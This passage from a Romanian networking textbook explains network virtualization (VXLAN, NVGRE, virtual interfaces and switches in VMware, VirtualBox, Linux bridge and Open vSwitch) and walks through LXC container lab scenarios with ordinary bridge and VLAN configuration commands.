VXLAN (Virtual eXtensible LAN)[9] este un mecanism care adreseaz dimensiunea redus a spaiului de VLAN ID-uri n medii cloud multi-tenant. VXLAN este n prezent (septembrie 2013) n stadiul de draft IETF i este susinut de Cisco, Vmware, Citrix i RedHat. n esen VXLAN este un overlay de nivel 2 (Legtur de date) peste o reea de nivel 3 (Reea). VXLAN permite mainilor virtuale ce ruleaz pe servere aflate fie n aceeai reea local fie n reele locale diferite s comunice una cu cealalt ca i cum s-ar gsi n aceeai reea local. Acest lucru este transparent utilizatorului care deine mainile virtuale. Acesta are alocate maini virtuale pe servere disponibile i aloc adrese IP i adrese MAC dup nevoi. Infrastructura VXLAN asigur conectivitatea ntre mainile virtuale. VXLAN poate fi considerat un mod de tunelare a cadrelor de nivel 2 n pachete de nivel 3. Cadrele de nivel 2 trimise de mainile virtuale sunt mpachetate n pachete de nivel 3 de hypervisor, trimise celuilalt hypervisor prin reeaua fizic i apoi despachetate i retrimise mainii virtuale. Hypervisorul transmitor adaug n cadrul unui pachet UDP un antet VXLAN coninnd un cmp pe

370 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e 24 de bii denumit VNI (Virtual Network Identifier) care va identifica reeaua virtual. Acest cmp este echivalentul cmpului VLAN ID din antetul 802.1Q; doar c, fiind pe 24 de bii, ofer un suport teoretic de 16 milioane de reele locale virtuale. Modul n care funcioneaz VXLAN este prezentat n figura de mai jos:

VM1 original frame hypervisor

VXLAN table

VM2

VXLAN table

original frame hypervisor server1 server2 NIC

NIC

UDP packet + VXLAN header (VNI) + original frame Figura 11-1 Funcionare VXLAN Procesul pe care l urmeaz un pachet trimis de la maina virtual alfa la maina virtual delta este urmtorul: Maina virtual transmite un cadru Ethernet simplu pe interfaa sa (virtual). Acest cadru ajunge la hypervisor-ul cu suport VXLAN. Maina virtual nu are cunotine despre suportul de VXLAN din hypervisor. Hypervisor-ul se uit n tabela intern pentru a determina VNI-ul (Virtual Network Identifierul) mainii virtuale. Dac adresa MAC destinaie (adic maina virtual destinaie) este n acelai segment VXLAN cu maina virtual surs atunci se face tunelarea VXLAN. Se creeaz un pachet UDP care conine adresa MAC i adresa IP exterioar a celuilalt sistem fizic/hypervisor. n cadrul pachetului UDP se plaseaz antet-ul VXLAN urmat de frame-ul iniial Ethernet. Pachetul UDP este transmis celuilalt capt pe un port cunoscut pe care cellalt capt ateapt conexiuni. Cellalt capt/hypervisorul tie c acel pachet este de tipul VXLAN l despacheteaz i extrage antetul VXLAN. Hypervisor-ul verific validitatea VNI-ului i apoi caut s vad dac exist o main virtual alocat acelui VNI care are ca adres MAC adresa MAC a frame-ului iniial. n caz afirmativ, hypervisor-ul livreaz frame-ul mainii virtuale corespunztoare.

11.1.2 NVGRE
NVGRE[10], la fel ca VXLAN, atac problema numrului redus de VLAN ID-uri n mediile cloud multi-tenant. NVGRE este n prezent (septembrie 2013) n stadiul de draft IETF i este susinut de Microsoft, Intel i HP. NVGRE tuneleaz cadre de nivel 2 n pachete de tip GRE, spre deosebire de VXLAN care folosete segmente UDP. n cadrul antetului GRE se gsete un cmp VSID (Virtual Subnet ID) care identific reeaua local (virtual) din care face parte pachetul. Cadrele iniiale de nivel 2 sunt transmise i primite de maini virtuale din cadrul mediului cloud multi-tenant.

V i r t u a l i z a r e a l a n i v e l u l r e e l e i |371 ncapsularea i decapsularea unui pachet NVGRE este realizat de hypervisor-ul pe care ruleaz maina virtual. Modul n care funcioneaz NVGRE este prezentat n figura de mai jos:

VM1 original frame hypervisor

NVGRE table

VM2 original frame hypervisor

NVGRE table

Server1 NIC NIC

Server2

IP packet + GRE header (VSID) + original frame Figura 11-2 Funcionare NVGRE Procesul pe care l urmeaz un pachet trimis de la maina virtual alfa la maina virtual delta este similar VXLAN, i nu l mai detaliem aici. Att NVGRE ct i VXLAN sunt n proces de standardizare IETF, pe post de soluii concurente. Suportul pentru aceste dou mecanisme este incipient att la nivelul switch-urilor fizice (pswitches) ct i la nivelul switch-urilor virtuale (vswitches). n Open vSwitch, una dintre cele mai cunoscute implementri de switch virtual, exist implementare de NVGRE i VXLAN. Detalii legate de switch-uri virtuale sunt prezentate n seciunile urmtoare.

11.1.3 Interfee i switch-uri


n cadrul soluiilor de virtualizare apare nevoia conectrii mainilor virtuale la Internet sau a proiectrii unei reele virtuale ntre maini. Aceste legturi sunt realizate prin interfee i plci de reea virtuale i prin switch-uri virtuale, implementare a crora se gsete n hypervisor. O arhitectur tipic pentru aceste componente este prezentat n figura de mai jos:

372 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

VM1 eth0 vNIC VIF

VM2 eth0 vNIC hyper visor VIF virtual switch

VM3 eth0 vNIC VIF

Figura 11-3 Folosire switch-uri i interfee virtuale n figura de mai sus, unei maini virtuale i este prezentat o interfa eth0. n spate aceast interfa este expus de hypervisor sistemului fizic n forma unei interfee virtuale (Virtual Network Interface VIF). Legtura ntre interfaa eth0 i interfaa virtual vizibil este implementat de hypervisor. Hypervisor-ul este cel care prezint o plac de reea virtual (Virtual Network Interface Card vNIC) mainii virtuale. O main virtual vede astfel interfaa eth0 ca pe o interfa a unui NIC de tip Ethernet i i asociaz adres MAC, adres IP, MTU sau alte configuraii. Pentru a conecta dou sau mai multe maini virtuale este nevoie de un switch virtual. Acesta va conecta interfeele virtuale expuse de hypervisor i va permite comutarea de cadre (frame -uri) ntre mainile virtuale. Un switch virtual ndeplinete astfel rolul unui switch fizic, avnd o tabel de comutare intern i avnd inclusiv posibilitatea configurrii de STP sau de VLAN-uri. O alt posibilitate de conectare a mainilor virtuale ar fi fost prin intermediul sistemului fizic pe post de ruter. Fiecare main virtual ar fi fcut parte dintr-o reea diferit, iar sistemul fizic ar fi rutat pachetele dintr-o reea n alta. Desigur aceast soluie este mai costisitoare i presupune configurarea sistemului fizic. Dac este nevoie de separaia n reele distincte a mai multor maini virtuale se pot folosi VLAN-uri configurate pe switch-ul sau switch-urile virtuale fr a necesita intermedierea prin sistemul fizic.

11.1.4 Interfee virtuale


Interfeele virtuale sunt interfee care nu au un corespondent fizic ntr-o plac de reea. Interfeele virtuale se pot baza fie pe o plac de reea virtual (vNIC), fie pe un dispozitiv complet virtual care proceseaz pachetele trimise pe acea interfa. Pentru lucrul cu mainile virtuale, pentru crearea de tunele sau doar pentru testare, se folosesc interfee virtuale. n cazul mainilor virtuale, o interfa virtual este expus sistemului fizic pentru a permite legtura cu maina virtual. Tunelele creeaz o interfa nou pentru fiecare capt al tunelului. n fine, pentru testare se pot crea interfee pe care s fie asociate adrese IP sau ali parametri. Una dintre cele mai cunoscute interfee virtuale este interfaa de loopback, denumit pe sistemele Unix lo. Aceasta este o interfaa care refer sistemul fizic i este folosit pentru testarea serviciilor n absena legturii la internet. Interfaa este folosit i pentru raiuni de securitate. Atunci cnd un serviciu trebuie s funcioneze dar s nu fie disponibil n reea, este configurat s asculte conexiuni doar pe interfaa de loopback.

V i r t u a l i z a r e a l a n i v e l u l r e e l e i |373 Un tip de interfa folosit pentru testare n Linux este dummy. Interfeele de tip dummy nu au nici un rol n sistem altul dect pentru a testa comenzi sau configuraii pe acestea. n cazul tunelelor se creeaz cte o interfa virtual reprezentnd tunelul de fiecare parte. Aceasta nu are un corespondent fizic, dar este captul de comunicare cu staia din cellalt capt al tunelului. n Linux, interfeele de tip tunel sunt create cu ajutorul comenzii ip tunnel. Tot pentru tunelare i/sau VPN sunt folosite interfeele de tip TUN i TAP. Interfeele de tip TUN simuleaz un dispozitiv de nivel Reea, fr adres MAC, n timp ce un dispozitiv de tip TAP simuleaz un dispozitiv de nivel Legtur de date, cu adres MAC. Un program de user space se poate ataa unui astfel de dispozitiv i poate genera pachete de nivel 2 sau 3, fr a fi nevoie de suport direct din partea sistemului de operare. Dispozitivele de tip TAP sunt folosite pentru conectarea la maini virtuale QEMU/KVM. O interfa de tip TAP este expus sistemului fizic, realiznd conectarea cu maina virtual. Alte dispozitive i interfee virtuale folosite pentru conectarea mainilor virtuale sunt folosite n diferite soluii de virtualizare. De exemplu, VMware Workstation folosete interfee virtuale denumite vmnet. VirtualBox, n modul Bridged networking folosete interfee denumite vboxnet. OpenVZ folosete interfee virtuale denumite venet. OpenVZ i LXC folosesc interfee de tip veth (Virtual Ethernet Device), de o bicei create n pereche. Un capt al acestora este interfaa din cadrul mainii virtuale, n vreme ce al doilea capt este expus sistemului fizic pentru a permite comunicarea cu maina virtual. Interfeele virtuale sunt un aspect important al virtualizrii la nivelul reelei. n mediile cloud, prezena unui numr mare de maini virtuale, nseamn nevoie mare de interfee virtuale i un drum rapid al pachetelor prin hypervisor, pentru a face legtura ntre maini virtuale i sistemele fizice. n general legtura ntre mainile virtuale de pe acelai sistem i apoi cu maini virtuale de pe alte sisteme se face prin intermediul switch-urilor virtuale, prezentate n continuare.

11.1.5 Switch-uri virtuale


Switch-urile virtuale sunt folosite att pentru uz personal ct i profesional (data centere, medii cloud) pentru a asigura conectarea mainilor virtuale ntre ele sau conectarea acestora la Internet. n mediile cloud, exist un mix de switch-uri fizice i virtuale pentru a asigura conectivitatea de nivel 2 a mainilor virtuale aflate pe sisteme fizice diferite, aa cum se prezint n figura de mai jos.

Server1

Server2 VIF NIC NIC VIF physical switch VM3

VM1

VIF

VM2

VIF

VM4

hypervisor

vswitch

vswitch

hypervisor

Figura 11-4 Interconectare switch-uri fizice Un hypervisor poate oferi un switch virtual propriu, cum este cazul VMware Workstation, VirtualBox sau Hyper-V sau se poate doar expune interfee virtuale sistemului fizic, urmnd ca acesta

374 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e s foloseasc o implementare de switch proprie pentru a conecta mainile virtuale, aa cum este cazul KVM sau LXC. n mod tipic o implementare de switch virtual va expune urmtoarele operaii ctre administratorul sistemului: crearea switch-ului: de obicei aici se va preciza numele interfeei virtuale dup care va fi recunoscut switch-ul (de exemplu br0, br1, bridge0, bridge1 etc.) tergerea switch-ului: primete ca opiune numele switch-ului activarea sau dezactivarea switch-ului (s fie up sau down) adugarea unei interfee (fizice sau virtuale) n switch: primete ca opiuni numele switchului i interfaa de adugat tergerea unei interfee (fizice sau virtuale) din switch: primete ca opiuni numele switchului i interfaa de ters configurarea STP sau altor faciliti oferite de switch Exemple practice de implementare a switch-urilor virtuale sunt prezentate n seciunea urmtoare, de la switch-uri implementate n hypervisor (VMware, VirtualBox) pn la switch-uri implementate n afara hypervisor-elor (Linux bridging, Open vSwitch).

11.2 Implementarea switch-urilor virtuale


Switch-urile virtuale sau switch-uri software sau vswitch-uri sunt switch-uri cu implementare pur software, configurabile direct din sistemul de operare. n general switch-urile virtuale sunt implementate la nivelul unui hypervisor (VMware Workstation, VirtualBox, Hyper-V) dar pot fi implementate generic i la nivelul unui sistem de operare (precum modulul bridge din Linux). Switch-urile virtuale sunt folosite n general n conjuncie cu soluii de virtualizare sau de containere pentru a crea o reea virtual ntre maini virtuale sau legtur cu reeaua fizic. n general ntr-un switch virtual sunt adugate interfee virtuale reprezentnd legtura ctre mainile virtuale. n continuare vom prezenta modul de virtualizare a reelei n VMware Workstation i VirtualBox i dou dintre cele mai cunoscute moduri de a realiza un switch software n Linux: modulul bridge i Open vSwitch.

11.2.1 Virtualizarea reelei n VMware Workstation


VMware Workstation, la fel ca VMware Fusion i VMware Player folosete o implementare proprie de switch virtual[11]. Aceast implementare ofer o interfa de configurare comun pe diferite platforme: Linux, Windows, Mac OS X. De asemenea, hypervisorul VMware Workstation ofer o plac de reea virtual (vNIC) mainii virtuale31, expunnd o interfa virtual (vmnetX, X ntre 0 i 8) sistemului fizic. VMware ofer posibilitatea crerii a 9 switch-uri, fiecare reprezentnd o reea diferit. Numele reelelor corespunde cu interfaa virtual expus de fiecare switch sistemului fizic: vmnet0, vmnet1, vmnet 2, ..., vmnet832. n mod implicit trei dintre switch-uri au semnificaie special: vmnet0 (denumit bridge network) este reeaua bazat pe switch virtual care conecteaz i interfaa fizic a sistemului. Astfel mainile virtuale vor fi n aceeai reea cu sistemul fizic i, n cazul n care exist un server DHCP n reeaua sistemului fizic, vor obine adrese IP de la acesta. vmnet1 (denumit host-only network) conecteaz la switch interfaa virtual vmnet1 a sistemului fizic cu interfeele mainilor virtuale. Sistemul fizic poate comunica cu mainile virtuale prin intermediul interfeei vmnet1, dar mainile virtuale nu au acces la reeaua sistemului fizic i, posibil, la Internet.

31 32

n terminologia VMware placa de reea virtual se cheam Virtual Network Adapter n terminologia VMware aceast interfa virtual se cheam Host Virtual Adapter

V i r t u a l i z a r e a l a n i v e l u l r e e l e i |375 vmnet8 (denumit NAT networking) este similar reelei vmnet1. Interfaa virtual vmnet8 este legat la switch mpreun cu interfeele mainilor virtuale. Doar c hypervisorul folosete o implementare NAT (de fapt NAPT) prin care permite pachetelor din reeaua local a switch-ului virtual s fie translatateze pachetele ctre reeaua sistemului fizic. Schematic, virtualizarea reelei de hypervisor-ul VMware Workstation este prezentat n figura de mai jos:

VM 1

VM 2

VM 3

eth0

eth0

eth0

bridge network VMware hypervisor

host-only network
vmnet1
NAT device

NAT networking
vmnet8

NIC Figura 11-5 Tipuri de reele virtuale n VMware Utilizatorul este cel care definete apartenena interfeelor mainilor virtuale la o reea sau alta, prin intermediul interfeei grafice. Pe lng cele trei switch-uri, utilizatorul poate configura i personaliza celelalte 6 switch-uri disponibile n hypervisor-ul VMware Workstation.

11.2.2 Virtualizarea reelei n VirtualBox


VirtualBox ofer faciliti pentru switching[12] similare cu VMware. La fel ca n cazul VMware mainilor virtuale le sunt oferite de hypervisor-ul VMware nite plci de reea virtuale (vNIC, Virtual Network Adapter) lsnd impresia sistemului c folosete o plac de reea fizic. Suplimentar, VirtualBox ofer un adaptor paravirtualizat denumit virtio-net. Pentru folosirea acestuia, maina virtual necesit drivere dedicate, ce permit conectarea cu interfaa expus de virtio-net33. Similar VMware, VirtualBox ofer switching intern i mai multe moduri de configurare a reelelor virtuale. O parte din aceste moduri sunt: n modul internal networking mainile virtuale sunt legate ntr-o reea proprie dar fr nici o conexiune cu sistemul fizic. n modul NAT mainile virtuale sunt legate ntr-o reea invizibil sistemului fizic, dar hypervisor-ul se ocup de translatarea adreselor pentru a permite accesarea reelei locale a sistemului fizic i, astfel, a Internet-ului. Una dintre deosebirile fa de modul NAT networking din Vmware Workstation i, n acelai timp, unul dintre neajunsuri acestui mod este dificultatea accesrii mainii virtuale de pe sistemul fizic; de exemplu, conexiune SSH de pe sistemul fizic pe maina virtual. Reeaua din care fac parte mainile virtuale nu este vizibil sistemului fizic; nu este expus o interfa virtul similar interfeei vmnet8 din VMware Workstation. Pentru a accesa maina virtual din sistemul fizic, se folosete modul Host-only networking. n modul Host-only networking, se creeaz o interfa virtual pe sistemul fizic, denumit, n general, vboxnet0 iar mainile virtuale sunt legate printr-un switch virtual la aceast interfa.

33

Driverele virtualizate de reea virtio sunt partea a KVM

376 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Interfaa are asociat o adres IP din aceeai reea cu mainile virtuale i permite conectarea la mainile virtuale de pe sistemul fizic. Este similar reelei vmnet1 de pe VMware Workstation. Modul Bridged networking are un comportament similar reelei vmnet0 din VMware Workstation. Interfaa fizic a sistemului fizic este conectat printr-un switch virtual la interfeele mainilor virtuale. Astfel, mainile virtuale au legtur direct la reeaua local a sistemului fizic, putnd obine adrese IP prin DHCP de acolo i comunicnd direct cu staiile din reea. n acelai timp, staiile din reea pot accesa serviciile expuse de maina virtual.

11.2.3 Linux bridging


Modulul bridging din Linux[13] este forma de baz a unui switch virtual pe Linux. Ofer cea mai mare parte din funcionalitile unui switch fizic i avantajul flexibilitii i posibilitatea filtrrii i limitrii traficului. Implementarea este reprezentat de modulul de kernel bridge.ko i poate fi controlat de suita bridge-utils. Modulul de kernel este ncrcat n mod automat de suita bridge-utils n momentul crerii unui bridge. Modulul bridge este folosit de libvirt i KVM i, n general, de LXC. Poate fi folosit i n conjuncie cu alte soluii de virtualizare acolo unde este nevoie. Cu ajutorul modulul bridging se pot crea oricte bridge-uri pe un sistem Linux i se pot conecta ntre ele. Operaiile cu bridge-uri se realizeaz cu ajutorul comenzii brctl. Cele mai frecvente operaii sunt prezentate mai jos: crearea switch-ului:
# brctl addbr br0

vizualizarea informaiilor despre switch:

# brctl show bridge name br0 bridge id STP enabled interfaces

8000.000000000000 no

tergerea switch-ului:

# brctl delbr br0

activarea sau dezactivarea switch-ului:

# ip link set dev br0 up # ip link set dev br0 down

adugarea unei interfee n switch:

# brctl addif br0 eth1

tergerea unei interfeedin switch:

# brctl delif br0 eth1

n general lucrul cu bridge-uri este legat de folosirea mainilor virtuale i conectarea acestora. Un set de scenarii de folosire a modulului bridging se gsesc n seciunea 1.4.

11.2.4 Open vSwitch


Open vSwitch este una dintre implementrile moderne, bogat n funcionaliti din lumea Linux. Open vSwitch este un switch multilayer destinat mediilor cloud cu posibilitatea de a fi distribuit pe mai multe servere de virtualizare. Open vSwitch folosete o implementare de switch virtual/software. n acelai timp, Open vSwitch ofer suport pentru OpenFlow i baz pentru Software Defined Networking; Open vSwitch expune interfaa OpenFlow i poate fi comandat de un

V i r t u a l i z a r e a l a n i v e l u l r e e l e i |377 controller OpenFlow. Open vSwitch este folosit n mai multe suite software de cloud computing precum OpenStack, CloudStack i OpenNebula. Open vSwitch are suport n nucleul Linux de la versiunea 3.3 i este controlat cu ajutorul comenzii ovs-vsctl. Comanda ovs-vsctl ofer funcionaliti similare cu brctl cu opiuni extinse i funcionaliti suplimentare pentru asigurarea suportului de switch distribuit. Cele mai frecvente operaii sunt prezentate mai jos: crearea switch-ului:
# ovs-vsctl add-br br1

vizualizarea informaiilor despre switch:

# ovs-vsctl show 09a0cb45-7534-4b1a-87c2-24602c1d095d Bridge "br1" Port "br1" Interface "br1" type: internal ovs_version: "1.4.2"

tergerea switch-ului:

# ovs-vsctl del-br br1

activarea sau dezactivarea switch-ului:

# ip link set dev br1 up # ip link set dev br1 down

adugarea unei interfee n switch:

# ovs-vsctl add-port br1 eth1

tergerea unei interfeedin switch:

# ovs-vsctl del-port br1 eth1

Modulul de bridging n Linux este util pentru configuraii simple; pentru infrastructuri complexe, specifice mediului cloud, facilitile oferite de Open vSwitch sunt importante i este folosit cu precdere.

11.2.5 Crearea interfeelor virtuale n Linux


Soluiile de virtualizare creeaz n general, interfeele virtuale n mod direct, fr a fi nevoie de intevenia utilizatorului. Utilizatorul poate defini n panourile de configurare ale soluiilor de virtualizare opiuni pentru interfeele virtuale, crearea rmnnd la latitudinea soluiei. De exemplu, VMware Workstation i VirtualBox creeaz automat interfeele necesare (vmnet i vboxnet). LXC i OpenVZ creeaz interfeele de tip veth necesare. Dar este posibil la nevoie i pentru utilizatorul Linux s creeze interfee virtuale. Putem considera c i interfeele de tip bridge create cu ajutorul comenzii brctl sunt interfee virtuale. Comanda cu ajutorul cruia se pot crea, terge i configura interfee virtuale pe sistemele Linux recente este ip link. La o listare a comenzii ip link se pot vedea ce tipuri de interfee virtuale se pot crea:
root@debian:~# ip link help Usage: ip link add [link DEV] [ name ] NAME [...] type TYPE [ ARGS ] [...] TYPE := { vlan | veth | vcan | dummy | ifb | macvlan | can | bridge | ipoib | ip6tnl | ipip | sit | vxlan }

n cazul cel mai simplu, dac dorim s crem o interfa dummy, vom folosi comanda:

378 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e
root@debian:~# ip link add type dummy

n urma rulrii comenzii se creeaz interfaa dummy 0:


root@debian:~# ip link show dummy0 58: dummy0: <BROADCAST,NOARP> mtu 1500 qdisc noop state DOWN mode DEFAULT group default link/ether e2:e4:68:76:1f:db brd ff:ff:ff:ff:ff:f

La o nou rulare a comenzii se va crea interfaa dummy1:


root@debian:~# ip link show [...] 58: dummy0: <BROADCAST,NOARP> mtu 1500 qdisc noop state DOWN mode DEFAULT group default link/ether e2:e4:68:76:1f:db brd ff:ff:ff:ff:ff:ff 59: dummy1: <BROADCAST,NOARP> mtu 1500 qdisc noop state DOWN mode DEFAULT group default link/ether f2:ed:85:eb:ef:a9 brd ff:ff:ff:ff:ff:ff

Putem s dm un nume personalizat interfeei. Pentru a da numele silly unei noi interfee rulm comanda:
root@debian:~# ip link add dev silly type dummy

Dac dorim s tergem o interfa rulm comanda:


root@debian:~# ip link delete dummy1

Un switch-ul poate fi creat i configurat cu ajutorul comenzii ip link, nu doar cu ajutorul comenzii brctl, aa cum apare mai jos:
root@debian:~# ip link add dev br0 type bridge root@debian:~# ip link show br0 61: br0: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN mode DEFAULT group default link/ether 16:f5:08:42:3a:58 brd ff:ff:ff:ff:ff:ff root@debian:~# brctl show bridge name bridge id STP enabled interfaces br0 8000.000000000000 no

Se observ c switch-ul creat cu ajutorul comenzii ip link este vizibil comenzii brctl. Interfee de tipul veth pot fi create, de asemenea, cu ajutorul comenzii ip link. n cazul interfeelor de tip veth, se poate crea o pereche conectat una la cealalt prin intermediul nucleului. Trimiterea de pachete dintr-un capt va fi recepionat la cellalt capt, denumit peer. Pentru a crea o astfel de pereche se ruleaz o comand precum:
root@debian:~# ip link add name veth-in type veth peer name veth-out

Cteva scenarii de folosire a switch-urilor virtuale, i deci i a switch-urilor virtuale, vor fi prezentate n continuare.

11.3 Scenarii de folosire a switch-urilor virtuale


Scenariile prezentate n continuare sunt scenarii simple de folosire a modulului de bridging n Linux. Pentru simplitate sunt folosite containere LXC. Containerelor LXC le este prezentat intern o interfa eth0; sistemului fizic i este prentat o pereche a acestei interfee, o interfa virtual de tip veth. Infrastructura pe care o s o folosim, prezentat n figura de mai jos, cuprinde 4 containere LXC i un switch virtual care va fi creat i folosi de sistemul fizic.

V i r t u a l i z a r e a l a n i v e l u l r e e l e i |379

EAST 192.168.1.1
eth0

WEST 192.168.1.3
eth0

SOUTH 192.168.1.2
eth0

NORTH 192.168.1.4
eth0

LXC hypervisor
veth-east veth-west veth-south veth-north

virtual switch NIC Figura 11-6 Topologie LANcu switch virtual Vom prezenta dou scenarii. Unul de conectare a celor 4 containere n switch-ul virtual i unul n care vom aduga suport pentru VLAN-uri switch-ului.

11.3.1 Conectare n switch virtual


n acest scenariu ne propunem s conectm toate cele patru staii la switch-ul virtual br0 astfel nct s poat comunica ntre ele. n final fiecare staie va putea folosi ping pentru a determina conectivitatea ctre celelalte staii. n primul pas verificm disponibilitatea celor patru interfee virtuale pe sistemul fizic:
root@debian:~# ip link show up [...] 26: veth-east: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 state UP mode DEFAULT group default qlen 1000 link/ether fe:0e:57:cf:88:6e brd ff:ff:ff:ff:ff:ff 38: veth-north: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 state UP mode DEFAULT group default qlen 1000 link/ether fe:e0:79:ff:38:a7 brd ff:ff:ff:ff:ff:ff 40: veth-south: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 state UP mode DEFAULT group default qlen 1000 link/ether fe:7f:66:2a:9d:9a brd ff:ff:ff:ff:ff:ff 42: veth-west: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 state UP mode DEFAULT group default qlen 1000 link/ether fe:0a:f7:72:51:26 brd ff:ff:ff:ff:ff:ff

qdisc pfifo_fast qdisc pfifo_fast qdisc pfifo_fast qdisc pfifo_fast

n continuare vom crea switch-ul virtual br-lxc folosind comanda brctl:


root@debian:~# brctl addbr br-lxc root@debian:~# brctl show bridge name bridge id STP enabled interfaces br-lxc 8000.000000000000 no

Se creeaz interfaa br-lxc. Verificm prezen acesteia cu ajutorul comenzii ip link:


root@debian:~# ip link show dev br-lxc 43: br-lxc: <BROADCAST,MULTICAST> mtu 1500 qdisc noop DEFAULT group default link/ether da:70:9b:f8:a5:7c brd ff:ff:ff:ff:ff:f state DOWN mode

Interfaa este dezactivat (DOWN); pentru a putea funciona switch-ul, activm interfaa (starea s fie UP):

380 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e
root@debian:~# ip link set dev br-lxc up root@debian:~# ip link show dev br-lxc 44: br-lxc: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default link/ether fe:0a:f7:72:51:26 brd ff:ff:ff:ff:ff:ff

Putei observa schimbarea strii interfeei din DOWN n UP (state UP). n continuare vom conecta cele patru interfee virtuale (veth-east, veth-south, veth-west, vethnorth) la switch:
root@debian:~# brctl addif br-lxc veth-east root@debian:~# brctl addif br-lxc veth-south root@debian:~# brctl addif br-lxc veth-west root@debian:~# brctl addif br-lxc veth-north root@debian:~# brctl show bridge name bridge id STP enabled interfaces br-lxc 8000.fe0af7725126 no veth-east veth-north veth-south veth-west

n acest moment interfeele eth0 ale containerelor LXC sunt conectate la switch i vor putea comunica ntre ele. Trimitem pachete de pe staia east ctre celelate trei staii folosind adresele lor IP:
root@east:~# ping -c 1 192.168.1.2 PING 192.168.1.2 (192.168.1.2): 48 data bytes 56 bytes from 192.168.1.2: icmp_seq=0 ttl=64 time=0.086 ms --- 192.168.1.2 ping statistics --1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max/stddev = 0.086/0.086/0.086/0.000 ms root@east:~# ping -c 1 192.168.1.3 PING 192.168.1.3 (192.168.1.3): 48 data bytes 56 bytes from 192.168.1.3: icmp_seq=0 ttl=64 time=0.165 ms --- 192.168.1.3 ping statistics --1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max/stddev = 0.165/0.165/0.165/0.000 ms root@east:~# ping -c 1 192.168.1.4 PING 192.168.1.4 (192.168.1.4): 48 data bytes 56 bytes from 192.168.1.4: icmp_seq=0 ttl=64 time=0.129 ms --- 192.168.1.4 ping statistics --1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max/stddev = 0.129/0.129/0.129/0.000 ms

Acesta este un mod simplu de a conecta ntre ele mai multe containere LXC folosind un switch virtual construit prin modulul bridge.

11.3.2 Suport de VLAN-uri folosind switch-ul virtual


Dac dorim ca mainile virtuale s fie n reele diferite putem construi dou switch-uri: un switch pentru staiile east i west, de exemplu, i altul pentru north i south. Dac dorim ca aceste maini virtuale s comunice cu alte maini virtuale de pe alte sisteme, i s fie n aceeai reea de nivel 2, va trebui s folosim VLAN-uri. Configuraia propus este: east i west n VLAN-ul 101, comunicnd cu exteriorul prin interfaa eth1 north i south n VLAN-ul 102, comunicnd cu exteriorul tot prin interfaa eth1

V i r t u a l i z a r e a l a n i v e l u l r e e l e i |381 Pentru aceasta, pe interfaa eth1 vom crea dou subinterfee (eth1.101 i eth1.102). Aceste dou subinterfee vor face parte din VLAN-ul 101, respectiv VLAN-ul 102. Vom crea ulterior dou switch-uri i vom aduga containerele aferente n cele dou bridge-uri. Pentru nceput crem dou subinterfee pentru interfaa eth1 n cele dou VLAN-uri. Folosim comanda vconfig:
root@debian:~# vconfig add eth1 101 Added VLAN with VID == 101 to IF -:eth1:root@debian:~# vconfig add eth1 102 Added VLAN with VID == 102 to IF -:eth1:-

Ca urmare a rulrii celor doua comenzi se creeaz subinterfeele respectiv, eth1.101 i eth1.102, pentru cele dou VLAN-uri:
root@debian:~# ip link show [...] 50: eth1.101@eth1: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN mode DEFAULT group default link/ether 08:00:27:31:0f:b3 brd ff:ff:ff:ff:ff:ff 51: eth1.102@eth1: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN mode DEFAULT group default link/ether 08:00:27:31:0f:b3 brd ff:ff:ff:ff:ff:ff

Activm interfeele:
root@debian:~# ip link set dev eth1.101 up root@debian:~# ip link set dev eth1.102 up

Apoi crem switch-urile i adugm dou cte dou interfeele virtuale spre containere n switch-uri:
root@debian:~# brctl addbr br-vlan101 root@debian:~# brctl addbr br-vlan102 root@debian:~# ip link set dev br-vlan101 up root@debian:~# ip link set dev br-vlan102 up root@debian:~# brctl addif br-vlan101 veth-east root@debian:~# brctl addif br-vlan101 veth-west root@debian:~# brctl addif br-vlan102 veth-north root@debian:~# brctl addif br-vlan102 veth-south

Acum funcioneaz comunicarea ntre cele dou perechi de containere: staia east poate testa conectivitatea la staia west, iar staia north poate testa conectivitatea la staia south:
root@east:~# ping -c 1 192.168.1.3 PING 192.168.1.3 (192.168.1.3): 48 data bytes 56 bytes from 192.168.1.3: icmp_seq=0 ttl=64 time=0.098 ms --- 192.168.1.3 ping statistics --1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max/stddev = 0.098/0.098/0.098/0.000 ms root@north:~# ping -c 1 192.168.1.2 PING 192.168.1.2 (192.168.1.2): 48 data bytes 56 bytes from 192.168.1.2: icmp_seq=0 ttl=64 time=0.157 ms --- 192.168.1.2 ping statistics --1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max/stddev = 0.157/0.157/0.157/0.000 ms

382 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Pentru ca fiecare pereche s activeze n cte un VLAN, adugm n switch-uri, respectiv, subinterfeele eth1.101 i eth1.102:
root@debian:~# brctl addif br-vlan101 eth1.101 root@debian:~# brctl addif br-vlan102 eth1.102

Dac acum vom folosi o comand de conectare de pe staia east ctre o staie (chiar inexistent) din reea, la ieirea pe subinterfaa eth1.101 pachetele vor conine VLAN ID-ul 101 pentru VLAN. Folosim tcpdump pentru a activa captura de pachete pe interfaa eth1:
root@debian:~# tcpdump [...] 07:09:43.651821 ARP, length 28 0x0000: ffff ffff 0x0010: 0806 0001 0x0020: c0a8 0101 -xx -i eth1 host 192.168.1.100 Request who-has 192.168.1.100 tell 192.168.1.1,

